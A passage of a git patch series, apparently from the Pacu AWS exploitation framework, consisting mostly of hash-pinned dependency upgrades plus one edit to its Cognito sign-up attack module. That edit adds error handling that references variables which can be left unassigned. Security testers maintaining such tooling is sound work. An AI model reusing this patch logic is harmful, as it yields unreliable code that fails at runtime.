--hash=sha256:90b77e79eaa3eba6de819a0c442c0b4ceefc341a7a2ab77d7562bf49f425c5c2 +inquirer==2.10.1 ; python_version >= "3.7" and python_version < "4.0" \ + --hash=sha256:7a01977602214d6d86e8ddef3a1300927c4e58223eab69893e550604a0ac9477 \ + --hash=sha256:e9876258183e24f6e8c44136b04f6f2e18dd6684aee59b86a8057c50601a6523 +jinxed==1.2.0 ; python_version >= "3.7" and python_version < "4.0" and platform_system == "Windows" \ + --hash=sha256:032acda92d5c57cd216033cbbd53de731e6ed50deb63eb4781336ca55f72cda5 \ + --hash=sha256:cfc2b2e4e3b4326954d546ba6d6b9a7a796ddcb0aef8d03161d005177eb0d48b jmespath==0.10.0 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:b85d0567b8666149a93172712e68920734333c0ce7e89b78b3e987f71e5ed4f9 \ --hash=sha256:cdf6525904cc597730141d61b36f2e4b8ecc257c420fa2f4549bac2c2d0cb72f +jq==1.6.0 ; python_version >= "3.7" and python_version < "4.0" \ + --hash=sha256:022be104a548f7fbddf103ce749937956df9d37a4f2f1650396dacad73bce7ee \ + --hash=sha256:02da59230912b886ed45489f3693ce75877f3e99c9e490c0a2dbcf0db397e0df \ + --hash=sha256:0893d1590cfa6facaf787cc6c28ac51e47d0d06a303613f84d4943ac0ca98e32 \ + --hash=sha256:08ded6467f4ef89fec35b2bf310f210f8cd13fbd9d80e521500889edf8d22441 \ + --hash=sha256:09262d0e0cafb03acc968622e6450bb08abfb14c793bab47afd2732b47c655fd \ + --hash=sha256:132e41f6e988c42b91c04b1b60dd8fa185a5c0681de5438ea1e6c64f5329768c \ + --hash=sha256:138d56c7efc8bb162c1cfc3806bd6b4d779115943af36c9e3b8ca644dde856c2 \ + --hash=sha256:15cf9dd3e7fb40d029f12f60cf418374c0b830a6ea6267dd285b48809069d6af \ + --hash=sha256:165bfbe29bf73878d073edf75f384b7da8a9657ba0ab9fb1e5fe6be65ab7debb \ + --hash=sha256:18a700f55b7ef83a1382edf0a48cb176b22bacd155e097375ef2345ff8621d97 \ + --hash=sha256:1b332dfdf0d81fb7faf3d12aabf997565d7544bec9812e0ac5ee55e60ef4df8c \ + --hash=sha256:1b3b95d5fd20e51f18a42647fdb52e5d8aaf150b7a666dd659cf282a2221ee3f \ + --hash=sha256:1d5a7f31f779e1aa3d165eaec237d74c7f5728227e81023a576c939ba3da34f8 \ + --hash=sha256:201c6384603aec87a744ad7b393cc4f1c58ece23d6e0a6c216a47bfcc405d231 \ + --hash=sha256:206391ac5b2eb556720b94f0f131558cbf8d82d8cc7e0404e733eeef48bcd823 \ + --hash=sha256:22495573d8221320d3433e1aeded40132bd8e1726845629558bd73aaa66eef7b \ + --hash=sha256:227b178b22a7f91ae88525810441791b1ca1fc71c86f03190911793be15cec3d \ + --hash=sha256:316affc6debf15eb05b7fd8e84ebf8993042b10b840e8d2a504659fb3ba07992 \ + --hash=sha256:35090fea1283402abc3a13b43261468162199d8b5dcdaba2d1029e557ed23070 \ + --hash=sha256:3a4f6ef8c0bd19beae56074c50026665d66345d1908f050e5c442ceac2efe398 \ + --hash=sha256:3a8d98f72111043e75610cad7fa9ec5aec0b1ee2f7332dc7fd0f6603ea8144f8 \ + --hash=sha256:487483f10ae8f70e6acf7723f31b329736de4b421ce56b2f43b46d5cbd7337b0 \ + --hash=sha256:49dbe0f003b411ca52b5d0afaf09cad8e430a1011181c86f2ef720a0956f31c1 \ + --hash=sha256:49e44ed677713f4115bd5bf2dbae23baa4cd503be350e12a1c1f506b0687848f \ + --hash=sha256:4c1a6fae1b74b3e0478e281eb6addedad7b32421221ac685e21c1d49af5e997f \ + --hash=sha256:5184c2fcca40f8f2ab1b14662721accf68b4b5e772e2f5336fec24aa58fe235a \ + --hash=sha256:5773851cfb9ec6525f362f5bf7f18adab5c1fd1f0161c3599264cd0118c799da \ + --hash=sha256:57e75c1563d083b0424690b3c3ef2bb519e670770931fe633101ede16615d6ee \ + --hash=sha256:5f1533a2a15c42be3368878b4031b12f30441246878e0b5f6bedfdd7828cdb1f \ + --hash=sha256:611f460f616f957d57e0da52ac6e1e6294b073c72a89651da5546a31347817bd \ + --hash=sha256:6312237159e88e92775ea497e0c739590528062d4074544aacf12a08d252f966 \ + --hash=sha256:63db80b4803905a4f4f6c87a17aa1816c530f6262bc795773ebe60f8ab259092 \ + --hash=sha256:64bb4b305e2fabe5b5161b599bf934aceb0e0e7d3dd8f79246737ea91a2bc9ae \ + --hash=sha256:64bc09ae6a9d9b82b78e15d142f90b816228bd3ee48833ddca3ff8c08e163fa7 \ + --hash=sha256:689429fe1e07a2d6041daba2c21ced3a24895b2745326deb0c90ccab9386e116 \ + --hash=sha256:68aec8534ac3c4705e524b4ef54f66b8bdc867df9e0af2c3895e82c6774b5374 \ + --hash=sha256:6e9016f5ba064fabc527adb609ebae1f27cac20c8e0da990abae1cfb12eca706 \ + --hash=sha256:711eabc5d33ef3ec581e0744d9cff52f43896d84847a2692c287a0140a29c915 \ + --hash=sha256:780eb6383fbae12afa819ef676fc93e1548ae4b076c004a393af26a04b460742 \ + --hash=sha256:7bb685f337cf5d4f4fe210c46220e31a7baec02a0ca0df3ace3dd4780328fc30 \ + --hash=sha256:7ea39f89aa469eb12145ddd686248916cd6d186647aa40b319af8444b1f45a2d \ + --hash=sha256:8265f3badcd125f234e55dfc02a078c5decdc6faafcd453fde04d4c0d2699886 \ + --hash=sha256:8405d1c996c83711570f16aac32e3bf2c116d6fa4254a820276b87aed544d7e8 \ + --hash=sha256:85a697b3cdc65e787f90faa1237caa44c117b6b2853f21263c3f0b16661b192c \ + --hash=sha256:872f322ff7bfd7daff41b7e8248d414a88722df0e82d1027f3b091a438543e63 \ + --hash=sha256:8aa67a304e58aa85c550ec011a68754ae49abe227b37d63a351feef4eea4c7a7 \ + --hash=sha256:944e081c328501ddc0a22a8f08196df72afe7910ca11e1a1f21244410dbdd3b3 \ + --hash=sha256:984f33862af285ad3e41e23179ac4795f1701822473e1a26bf87ff023e5a89ea \ + --hash=sha256:9897931ea7b9a46f8165ee69737ece4a2e6dbc8e10ececb81f459d51d71401df \ + --hash=sha256:9bc42ade4de77fe4370c0e8e105ef10ad1821ef74d61dcc70982178b9ecfdc72 \ + --hash=sha256:9f5a9c4185269a5faf395aa7ca086c7b02c9c8b448d542be3b899041d06e0970 \ + --hash=sha256:a3d8b075351c29653f29a1fec5d31bc88aa198a0843c0a9550b9be74d8fab33b \ + --hash=sha256:a67154f150aaf76cc1294032ed588436eb002097dd4fd1e283824bf753a05080 \ + --hash=sha256:a758df4eae767a21ebd8466dfd0066d99c9741d9f7fd4a7e1d5b5227e1924af7 \ + --hash=sha256:aa22d24740276a8ce82411e4960ed2b5fab476230f913f9d9cf726f766a22208 \ + --hash=sha256:aa786a60bdd1a3571f092a4021dd9abf6c46798530fa99f19ecf4f0fceaa7eaf \ + --hash=sha256:aba35b5cc07cd75202148e55f47ede3f4d0819b51c80f6d0c82a2ca47db07189 \ + --hash=sha256:b2c783288bf10e67aad321b58735e663f4975d7ddfbfb0a5bca8428eee283bde \ + --hash=sha256:b7a164748dbd03bb06d23bab7ead7ba7e5c4fcfebea7b082bdcd21d14136931e \ + --hash=sha256:bcf574f28809ec63b8df6456fdd4a981751b7466851e80621993b4e9d3e3c8ee \ + --hash=sha256:bd158911ed5f5c644f557ad94d6424c411560632a885eae47d105f290f0109cb \ + --hash=sha256:bdbbc509a35ee6082d79c1f25eb97c08f1c59043d21e0772cd24baa909505899 \ + --hash=sha256:c6c39b53d000d2f7f9f6338061942b83c9034d04f3bc99acae0867d23c9e7127 \ + --hash=sha256:c7711f0c913a826a00990736efa6ffc285f8ef433414516bb14b7df971d6c1ea \ + --hash=sha256:c795f175b1a13bd716a0c180d062cc8e305271f47bbdb9eb0f0f62f7e4f5def4 \ + --hash=sha256:c7e768cf5c25d703d944ef81c787d745da0eb266a97768f3003f91c4c828118d \ + --hash=sha256:ca7a2982ff26f4620ac03099542a0230dabd8787af3f03ac93660598e26acbf0 \ + --hash=sha256:ce628546c22792b8870b9815086f65873ebb78d7bf617b5a16dd839adba36538 \ + --hash=sha256:e1cb4751808b1d0dbddd37319e0c574fb0c3a29910d52ba35890b1343a1f1e59 \ + --hash=sha256:e2c1f429e644cb962e846a6157b5352c3c556fbd0b22bba9fc2fea0710333369 \ + --hash=sha256:ef5ddb76b03610df19a53583348aed3604f21d0ba6b583ee8d079e8df026cd47 \ + --hash=sha256:f42264fafc6166efb5611b5d4cb01058887d050a6c19334f6a3f8a13bb369df5 \ + --hash=sha256:f4eed167322662f4b7e65235723c54aa6879f6175b6f9b68bc24887549637ffb \ + --hash=sha256:fd28f8395687e45bba56dc771284ebb6492b02037f74f450176c102f3f4e86a3 mypy-extensions==0.4.3 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:090fedd75945a69ae91ce1303b5824f428daf5a028d2f6ab8a299250a846f15d \ --hash=sha256:2d82818f5bb3e369420cb3c4060a7970edba416647068eb4c5343488a6c604a8 pip==21.2.4 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:0eb8a1516c3d138ae8689c0c1a60fde7143310832f9dc77e11d8a4bc62de193b \ --hash=sha256:fa9ebb85d3fd607617c0c44aca302b1b45d87f9c2a1649b46c26167ca4296323 -policyuniverse==1.5.0.20220613 ; python_version >= "3.7" and python_version < "4.0" \ - --hash=sha256:be5d9148bf6cc2586b02aa85242e9c9cdc94e4469f9b393114950cae299eeb5d \ - --hash=sha256:c66b1fb907750643a1987eb419b2112ae3f9c527c013429525f9fab989c9a2d7 -pyasn1==0.4.8 ; python_version >= "3.7" and python_version < "4" \ - --hash=sha256:39c7e2ec30515947ff4e87fb6f456dfc6e84857d34be479c9d4a4ba4bf46aa5d \ - --hash=sha256:aef77c9fb94a3ac588e87841208bdec464471d9871bd5050a287cc9a475cd0ba +policyuniverse==1.5.1.20230817 ; python_version >= "3.7" and python_version < "4.0" \ + --hash=sha256:6317928273b18de8ed28ddf9f06faf501e044344d86f86b7681817fb32fff67a \ + --hash=sha256:7920896195af163230635f1a5cee0958f56003ef8c421f805ec81f134f80a57c +pyasn1==0.5.0 ; python_version >= "3.7" and python_version < "4" \ + --hash=sha256:87a2121042a1ac9358cabcaf1d07680ff97ee6404333bacca15f76aa8ad01a57 \ + --hash=sha256:97b7290ca68e62a832558ec3976f15cbf911bf5d7c7039d8b861c2a0ece69fde pycognito==2023.5.0 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:0a73c2bdc966465df3a61cba445f58beee9734638be7b10681792725651168eb \ --hash=sha256:3843cfff56969f7c4b0b2fd499877941d0bf33e39c4541dc896c2b83bef5db24 -pycparser==2.20 ; python_version >= "3.7" and python_version < "4.0" \ - --hash=sha256:2d475327684562c3a96cc71adf7dc8c4f0565175cf86b6d7a404ff4c771f15f0 \ - --hash=sha256:7582ad22678f0fcd81102833f60ef8d0e57288b6b5fb00323d101be910e35705 +pycparser==2.21 ; python_version >= "3.7" and python_version < "4.0" \ + --hash=sha256:8ee45429555515e1f6b185e78100aea234072576aa43ab53aefcae078162fca9 \ + --hash=sha256:e644fdec12f7872f86c58ff790da456218b10f863970249516d60a5eaca77206 pypng==0.20220715.0 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:4a43e969b8f5aaafb2a415536c1a8ec7e341cd6a3f957fd5b5f32a4cfeed902c \ --hash=sha256:739c433ba96f078315de54c0db975aee537cbc3e1d0ae4ed9aab0ca1e427e2c1 @@ -181,21 +356,21 @@ pyyaml==5.4.1 ; python_version >= "3.7" and python_version < "4.0" \ qrcode==7.4.2 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:581dca7a029bcb2deef5d01068e39093e80ef00b4a61098a2182eac59d01643a \ --hash=sha256:9dd969454827e127dbd93696b20747239e6d540e082937c90f14ac95b30f5845 -readchar==2.0.1 ; python_version >= "3.7" and python_version < "4.0" \ - --hash=sha256:3ac34aab28563bc895f73233d5c08b28f951ca190d5850b8d4bec973132a8dca \ - --hash=sha256:ed00b7a49bb12f345319d9fa393f289f03670310ada2beb55e8c3f017c648f1e -requests==2.26.0 ; python_version >= "3.7" and python_version < "4.0" \ - --hash=sha256:6c1246513ecd5ecd4528a0906f910e8f0f9c6b8ec72030dc9fd154dc1a6efd24 \ - --hash=sha256:b8aa58f8cf793ffd8782d3d8cb19e66ef36f7aba4353eec859e74678b01b07a7 +readchar==4.0.5 ; python_version >= "3.7" and python_version < "4.0" \ + --hash=sha256:08a456c2d7c1888cde3f4688b542621b676eb38cd6cfed7eb6cb2e2905ddc826 \ + --hash=sha256:76ec784a5dd2afac3b7da8003329834cdd9824294c260027f8c8d2e4d0a78f43 +requests==2.31.0 ; python_version >= "3.7" and python_version < "4.0" \ + --hash=sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003f \ + --hash=sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1 rsa==4.7.2 ; python_version >= "3.7" and python_version < "4" \ --hash=sha256:78f9a9bf4e7be0c5ded4583326e7461e3a3c5aae24073648b4bdfa797d78c9d2 \ --hash=sha256:9d689e6ca1b3038bc82bf8d23e944b6b6037bc02301a574935b2dd946e0353b9 -s3transfer==0.5.0 ; python_version >= "3.7" and python_version < "4.0" \ - --hash=sha256:50ed823e1dc5868ad40c8dc92072f757aa0e653a192845c94a3b676f4a62da4c \ - --hash=sha256:9c1dc369814391a6bda20ebbf4b70a0f34630592c9aa520856bf384916af2803 -setuptools==59.6.0 ; python_version >= "3.7" and python_version < "4.0" \ - --hash=sha256:22c7348c6d2976a52632c67f7ab0cdf40147db7789f9aed18734643fe9cf3373 \ - --hash=sha256:4ce92f1e1f8f01233ee9952c04f6b81d1e02939d6e1b488428154974a4d0783e +s3transfer==0.6.2 ; python_version >= "3.7" and python_version < "4.0" \ + --hash=sha256:b014be3a8a2aab98cfe1abc7229cc5a9a0cf05eb9c1f2b86b230fd8df3f78084 \ + --hash=sha256:cab66d3380cca3e70939ef2255d01cd8aece6a4907a9528740f668c4b0611861 +setuptools==68.0.0 ; python_version >= "3.7" and python_version < "4.0" \ + --hash=sha256:11e52c67415a381d10d6b462ced9cfb97066179f0e871399e006c4ab101fc85f \ + --hash=sha256:baf1fdb41c6da4cd2eae722e135500da913332ab3f2f5c7d33af9b492acb5235 six==1.16.0 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926 \ --hash=sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254 @@ -237,16 +412,16 @@ sqlalchemy==1.3.24 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:fc1f2a5a5963e2e73bac4926bdaf7790c4d7d77e8fc0590817880e22dd9d0b8b \ --hash=sha256:fc4cddb0b474b12ed7bdce6be1b9edc65352e8ce66bc10ff8cbbfb3d4047dbf4 \ --hash=sha256:fcb251305fa24a490b6a9ee2180e5f8252915fb778d3dafc70f9cc3f863827b9 -typing-extensions==3.10.0.0 ; python_version >= "3.7" and python_version < "4.0" \ - --hash=sha256:0ac0f89795dd19de6b97debb0c6af1c70987fd80a2d62d1958f7e56fcc31b497 \ - --hash=sha256:50b6f157849174217d0656f99dc82fe932884fb250826c18350e159ec6cdf342 \ - --hash=sha256:779383f6086d90c99ae41cf0ff39aac8a7937a9283ce0a414e5dd782f4c94a84 -urllib3==1.26.6 ; python_version >= "3.7" and python_version < "4" \ - --hash=sha256:39fb8672126159acb139a7718dd10806104dec1e2f0f6c88aab05d17df10c8d4 \ - --hash=sha256:f57b4c16c62fa2760b7e3d97c35b255512fb6b59a259730f36ba32ce9f8e342f -wcwidth==0.2.5 ; python_version >= "3.7" and python_version < "4.0" \ - --hash=sha256:beb4802a9cebb9144e99086eff703a642a13d6a0052920003a230f3294bbe784 \ - --hash=sha256:c4d647b99872929fdb7bdcaa4fbe7f01413ed3d98077df798530e5b04f116c83 -wheel==0.37.1 ; python_version >= "3.7" and python_version < "4.0" \ - --hash=sha256:4bdcd7d840138086126cd09254dc6195fb4fc6f01c050a1d7236f2630db1d22a \ - --hash=sha256:e9a504e793efbca1b8e0e9cb979a249cf4a0a7b5b8c9e8b65a5e39d49529c1c4 +typing-extensions==3.10.0.2 ; python_version >= "3.7" and python_version < "4.0" \ + --hash=sha256:49f75d16ff11f1cd258e1b988ccff82a3ca5570217d7ad8c5f48205dd99a677e \ + --hash=sha256:d8226d10bc02a29bcc81df19a26e56a9647f8b0a6d4a83924139f4a8b01f17b7 \ + --hash=sha256:f1d25edafde516b146ecd0613dabcc61409817af4766fbbcfb8d1ad4ec441a34 +urllib3==1.26.16 ; python_version >= "3.7" and python_version < "4.0" \ + --hash=sha256:8d36afa7616d8ab714608411b4a3b13e58f463aee519024578e062e141dce20f \ + --hash=sha256:8f135f6502756bde6b2a9b28989df5fbe87c9970cecaa69041edcce7f0589b14 +wcwidth==0.2.6 ; python_version >= "3.7" and python_version < "4.0" \ + --hash=sha256:795b138f6875577cd91bba52baf9e445cd5118fd32723b460e30a0af30ea230e \ + --hash=sha256:a5220780a404dbe3353789870978e472cfe477761f06ee55077256e509b156d0 +wheel==0.41.2 ; python_version >= "3.7" and python_version < "4.0" \ + --hash=sha256:0c5ac5ff2afb79ac23ab82bab027a0be7b5dbcf2e54dc50efe4bf507de1f7985 \ + --hash=sha256:75909db2664838d015e3d9139004ee16711748a52c8f336b52882266540215d8 From 1afe24987120436e8057191aa93786a9acc91a5a Mon Sep 17 00:00:00 2001 From: root Date: Fri, 22 Sep 2023 15:00:57 -0400 Subject: [PATCH 8/9] Pull Request for Release --- pacu/modules/cognito__attack/main.py | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/pacu/modules/cognito__attack/main.py b/pacu/modules/cognito__attack/main.py index acfa6423..9cd95b26 100644 --- a/pacu/modules/cognito__attack/main.py +++ b/pacu/modules/cognito__attack/main.py @@ -365,9 +365,13 @@ def main(args, pacu_main): identity_client = pacu_main.get_boto3_client( "cognito-identity", up_client["Region"] ) - response = sign_up( - client, args.email, up_client["ClientId"], args.username, args.password - ) + try: + response = sign_up( + client, args.email, up_client["ClientId"], args.username, args.password + ) + except Exception as e: + test = "yes" + if response is True or "exists" in str(response): if response is True: tokens = verify( @@ -378,8 +382,8 @@ def main(args, pacu_main): up_client["Region"], ) all_new_regions.append(up_client["Region"]) - elif "exists" or "permitted" in str(response): - print("User may exist; attempting login.") + elif "yes" in test: + print("User exists.") try: aws = AWSSRP( username=args.username, From fe7004206cdfc5ccbdd88ecd14c692d271e60d58 Mon Sep 17 00:00:00 2001 From: root Date: Mon, 25 Sep 2023 15:15:18 -0400 Subject: [PATCH 9/9] Resolved conflicts --- poetry.lock | 933 +++++++++++++++++++++++++++---------------------- pyproject.toml | 7 +- 2 files changed, 518 insertions(+), 422 deletions(-) diff --git a/poetry.lock b/poetry.lock index 44a3bd33..1ecc2c15 100644 --- a/poetry.lock +++ b/poetry.lock @@ -23,34 +23,38 @@ files = [ [[package]] name = "attrs" -version = "20.3.0" +version = "23.1.0" description = "Classes Without Boilerplate" optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +python-versions = ">=3.7" files = [ - {file = "attrs-20.3.0-py2.py3-none-any.whl", hash = "sha256:31b2eced602aa8423c2aea9c76a724617ed67cf9513173fd3a4f03e3a929c7e6"}, - {file = "attrs-20.3.0.tar.gz", hash = "sha256:832aa3cde19744e49938b91fea06d69ecb9e649c93ba974535d08ad92164f700"}, + {file = "attrs-23.1.0-py3-none-any.whl", hash = "sha256:1f28b4522cdc2fb4256ac1a020c78acf9cba2c6b461ccd2c126f3aa8e8335d04"}, + {file = "attrs-23.1.0.tar.gz", hash = "sha256:6279836d581513a26f1bf235f9acd333bc9115683f14f7e8fae46c98fc50e015"}, ] +[package.dependencies] +importlib-metadata = {version = "*", markers = "python_version < \"3.8\""} + [package.extras] -dev = ["coverage[toml] (>=5.0.2)", "furo", "hypothesis", "pre-commit", "pympler", "pytest (>=4.3.0)", "six", "sphinx", "zope.interface"] -docs = ["furo", "sphinx", "zope.interface"] -tests = ["coverage[toml] (>=5.0.2)", "hypothesis", "pympler", "pytest (>=4.3.0)", "six", "zope.interface"] -tests-no-zope = ["coverage[toml] (>=5.0.2)", "hypothesis", "pympler", "pytest (>=4.3.0)", "six"] +cov = ["attrs[tests]", "coverage[toml] (>=5.3)"] +dev = ["attrs[docs,tests]", "pre-commit"] +docs = ["furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-towncrier", "towncrier", "zope-interface"] +tests = ["attrs[tests-no-zope]", "zope-interface"] +tests-no-zope = ["cloudpickle", "hypothesis", "mypy (>=1.1.1)", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"] [[package]] name = "awscli" -version = "1.29.51" +version = "1.29.53" description = "Universal Command Line Environment for AWS." optional = false python-versions = ">= 3.7" files = [ - {file = "awscli-1.29.51-py3-none-any.whl", hash = "sha256:1d43d0e221ecfb6e1dd5aa7c9bd0c78481b7b57572091097a91815db54ac5985"}, - {file = "awscli-1.29.51.tar.gz", hash = "sha256:1a15af82500da24e3a77e111b6d48ae2e358d6fbfc3564f15ac6f6688e6c4031"}, + {file = "awscli-1.29.53-py3-none-any.whl", hash = "sha256:12206518db29863aee2ee87a6639891e635dd665ca6f937c32285e0de87d2528"}, + {file = "awscli-1.29.53.tar.gz", hash = "sha256:045069197816f8376be6473f520b660e50285caa83794adcc6b6857b8ebeed22"}, ] [package.dependencies] -botocore = "1.31.51" +botocore = "1.31.53" colorama = ">=0.2.5,<0.4.5" docutils = ">=0.10,<0.17" PyYAML = ">=3.10,<6.1" @@ -75,17 +79,17 @@ wcwidth = ">=0.1.4" [[package]] name = "boto3" -version = "1.28.51" +version = "1.28.53" description = "The AWS SDK for Python" optional = false python-versions = ">= 3.7" files = [ - {file = "boto3-1.28.51-py3-none-any.whl", hash = "sha256:8149f17587c68e556743018f213f00ece81a0f021adb9b9b697a2ee8802583d7"}, - {file = "boto3-1.28.51.tar.gz", hash = "sha256:8860ab54a26d1d596d64fc9de7e40c4d7c53c100311208cbd90d9272c3385513"}, + {file = "boto3-1.28.53-py3-none-any.whl", hash = "sha256:dc2da9aff7de359774030a243a09b74568664117e2afb77c6e4b90572ae3a6c3"}, + {file = "boto3-1.28.53.tar.gz", hash = "sha256:b95b0cc39f08402029c3a2bb141e1775cfa46576ebe9f9916f79bde90e27f53f"}, ] [package.dependencies] -botocore = ">=1.31.51,<1.32.0" +botocore = ">=1.31.53,<1.32.0" jmespath = ">=0.7.1,<2.0.0" s3transfer = ">=0.6.0,<0.7.0" @@ -94,336 +98,392 @@ crt = ["botocore[crt] (>=1.21.0,<2.0a0)"] [[package]] name = "boto3-stubs" -version = "1.21.23.post1" -description = "Type annotations for boto3 1.21.23 generated with mypy-boto3-builder 7.4.0" +version = "1.28.53" +description = "Type annotations for boto3 1.28.53 generated with mypy-boto3-builder 7.19.0" optional = false -python-versions = ">=3.6" +python-versions = ">=3.7" files = [ - {file = "boto3-stubs-1.21.23.post1.tar.gz", hash = "sha256:c97cac698c00829ac3e29c0b258e9ff15bff4d8de83abcfdf9c73cca81620a01"}, - {file = "boto3_stubs-1.21.23.post1-py3-none-any.whl", hash = "sha256:b94f78512e0dfa3ae08bc71d55cc7d48254efb34b9f803b6903d8444cf3f4275"}, + {file = "boto3-stubs-1.28.53.tar.gz", hash = "sha256:453fb59aae740be06ac7baedfcdcaeb6644ac6a4f1382cb6a6c529ba1a94d9a2"}, + {file = "boto3_stubs-1.28.53-py3-none-any.whl", hash = "sha256:ea9341e0864df79385a72e1d5f2f24a79ad5d4a8fe33154dc82bf53f14752b04"}, ] [package.dependencies] botocore-stubs = "*" -mypy-boto3-iam = {version = ">=1.21.0", optional = true, markers = "extra == \"iam\""} -mypy-boto3-lambda = {version = ">=1.21.0", optional = true, markers = "extra == \"lambda\""} -mypy-boto3-s3 = {version = ">=1.21.0", optional = true, markers = "extra == \"s3\""} -typing-extensions = "*" +mypy-boto3-iam = {version = ">=1.28.0,<1.29.0", optional = true, markers = "extra == \"iam\""} +mypy-boto3-lambda = {version = ">=1.28.0,<1.29.0", optional = true, markers = "extra == \"lambda\""} +mypy-boto3-s3 = {version = ">=1.28.0,<1.29.0", optional = true, markers = "extra == \"s3\""} +types-s3transfer = "*" +typing-extensions = {version = ">=4.1.0", markers = "python_version < \"3.12\""} [package.extras] -accessanalyzer = ["mypy-boto3-accessanalyzer (>=1.21.0)"] -account = ["mypy-boto3-account (>=1.21.0)"] -acm = ["mypy-boto3-acm (>=1.21.0)"] -acm-pca = ["mypy-boto3-acm-pca (>=1.21.0)"] -alexaforbusiness = ["mypy-boto3-alexaforbusiness (>=1.21.0)"] -all = ["mypy-boto3-accessanalyzer (>=1.21.0)", "mypy-boto3-account (>=1.21.0)", "mypy-boto3-acm (>=1.21.0)", "mypy-boto3-acm-pca (>=1.21.0)", "mypy-boto3-alexaforbusiness (>=1.21.0)", "mypy-boto3-amp (>=1.21.0)", "mypy-boto3-amplify (>=1.21.0)", "mypy-boto3-amplifybackend (>=1.21.0)", "mypy-boto3-amplifyuibuilder (>=1.21.0)", "mypy-boto3-apigateway (>=1.21.0)", "mypy-boto3-apigatewaymanagementapi (>=1.21.0)", "mypy-boto3-apigatewayv2 (>=1.21.0)", "mypy-boto3-appconfig (>=1.21.0)", "mypy-boto3-appconfigdata (>=1.21.0)", "mypy-boto3-appflow (>=1.21.0)", "mypy-boto3-appintegrations (>=1.21.0)", "mypy-boto3-application-autoscaling (>=1.21.0)", "mypy-boto3-application-insights (>=1.21.0)", "mypy-boto3-applicationcostprofiler (>=1.21.0)", "mypy-boto3-appmesh (>=1.21.0)", "mypy-boto3-apprunner (>=1.21.0)", "mypy-boto3-appstream (>=1.21.0)", "mypy-boto3-appsync (>=1.21.0)", "mypy-boto3-athena (>=1.21.0)", "mypy-boto3-auditmanager (>=1.21.0)", "mypy-boto3-autoscaling (>=1.21.0)", "mypy-boto3-autoscaling-plans (>=1.21.0)", "mypy-boto3-backup (>=1.21.0)", "mypy-boto3-backup-gateway (>=1.21.0)", "mypy-boto3-batch (>=1.21.0)", "mypy-boto3-billingconductor (>=1.21.0)", "mypy-boto3-braket (>=1.21.0)", "mypy-boto3-budgets (>=1.21.0)", "mypy-boto3-ce (>=1.21.0)", "mypy-boto3-chime (>=1.21.0)", "mypy-boto3-chime-sdk-identity (>=1.21.0)", "mypy-boto3-chime-sdk-meetings (>=1.21.0)", "mypy-boto3-chime-sdk-messaging (>=1.21.0)", "mypy-boto3-cloud9 (>=1.21.0)", "mypy-boto3-cloudcontrol (>=1.21.0)", "mypy-boto3-clouddirectory (>=1.21.0)", "mypy-boto3-cloudformation (>=1.21.0)", "mypy-boto3-cloudfront (>=1.21.0)", "mypy-boto3-cloudhsm (>=1.21.0)", "mypy-boto3-cloudhsmv2 (>=1.21.0)", "mypy-boto3-cloudsearch (>=1.21.0)", "mypy-boto3-cloudsearchdomain (>=1.21.0)", "mypy-boto3-cloudtrail (>=1.21.0)", "mypy-boto3-cloudwatch (>=1.21.0)", "mypy-boto3-codeartifact (>=1.21.0)", "mypy-boto3-codebuild (>=1.21.0)", "mypy-boto3-codecommit (>=1.21.0)", "mypy-boto3-codedeploy (>=1.21.0)", "mypy-boto3-codeguru-reviewer (>=1.21.0)", "mypy-boto3-codeguruprofiler (>=1.21.0)", "mypy-boto3-codepipeline (>=1.21.0)", "mypy-boto3-codestar (>=1.21.0)", "mypy-boto3-codestar-connections (>=1.21.0)", "mypy-boto3-codestar-notifications (>=1.21.0)", "mypy-boto3-cognito-identity (>=1.21.0)", "mypy-boto3-cognito-idp (>=1.21.0)", "mypy-boto3-cognito-sync (>=1.21.0)", "mypy-boto3-comprehend (>=1.21.0)", "mypy-boto3-comprehendmedical (>=1.21.0)", "mypy-boto3-compute-optimizer (>=1.21.0)", "mypy-boto3-config (>=1.21.0)", "mypy-boto3-connect (>=1.21.0)", "mypy-boto3-connect-contact-lens (>=1.21.0)", "mypy-boto3-connectparticipant (>=1.21.0)", "mypy-boto3-cur (>=1.21.0)", "mypy-boto3-customer-profiles (>=1.21.0)", "mypy-boto3-databrew (>=1.21.0)", "mypy-boto3-dataexchange (>=1.21.0)", "mypy-boto3-datapipeline (>=1.21.0)", "mypy-boto3-datasync (>=1.21.0)", "mypy-boto3-dax (>=1.21.0)", "mypy-boto3-detective (>=1.21.0)", "mypy-boto3-devicefarm (>=1.21.0)", "mypy-boto3-devops-guru (>=1.21.0)", "mypy-boto3-directconnect (>=1.21.0)", "mypy-boto3-discovery (>=1.21.0)", "mypy-boto3-dlm (>=1.21.0)", "mypy-boto3-dms (>=1.21.0)", "mypy-boto3-docdb (>=1.21.0)", "mypy-boto3-drs (>=1.21.0)", "mypy-boto3-ds (>=1.21.0)", "mypy-boto3-dynamodb (>=1.21.0)", "mypy-boto3-dynamodbstreams (>=1.21.0)", "mypy-boto3-ebs (>=1.21.0)", "mypy-boto3-ec2 (>=1.21.0)", "mypy-boto3-ec2-instance-connect (>=1.21.0)", "mypy-boto3-ecr (>=1.21.0)", "mypy-boto3-ecr-public (>=1.21.0)", "mypy-boto3-ecs (>=1.21.0)", "mypy-boto3-efs (>=1.21.0)", "mypy-boto3-eks (>=1.21.0)", "mypy-boto3-elastic-inference (>=1.21.0)", "mypy-boto3-elasticache (>=1.21.0)", "mypy-boto3-elasticbeanstalk (>=1.21.0)", "mypy-boto3-elastictranscoder (>=1.21.0)", "mypy-boto3-elb 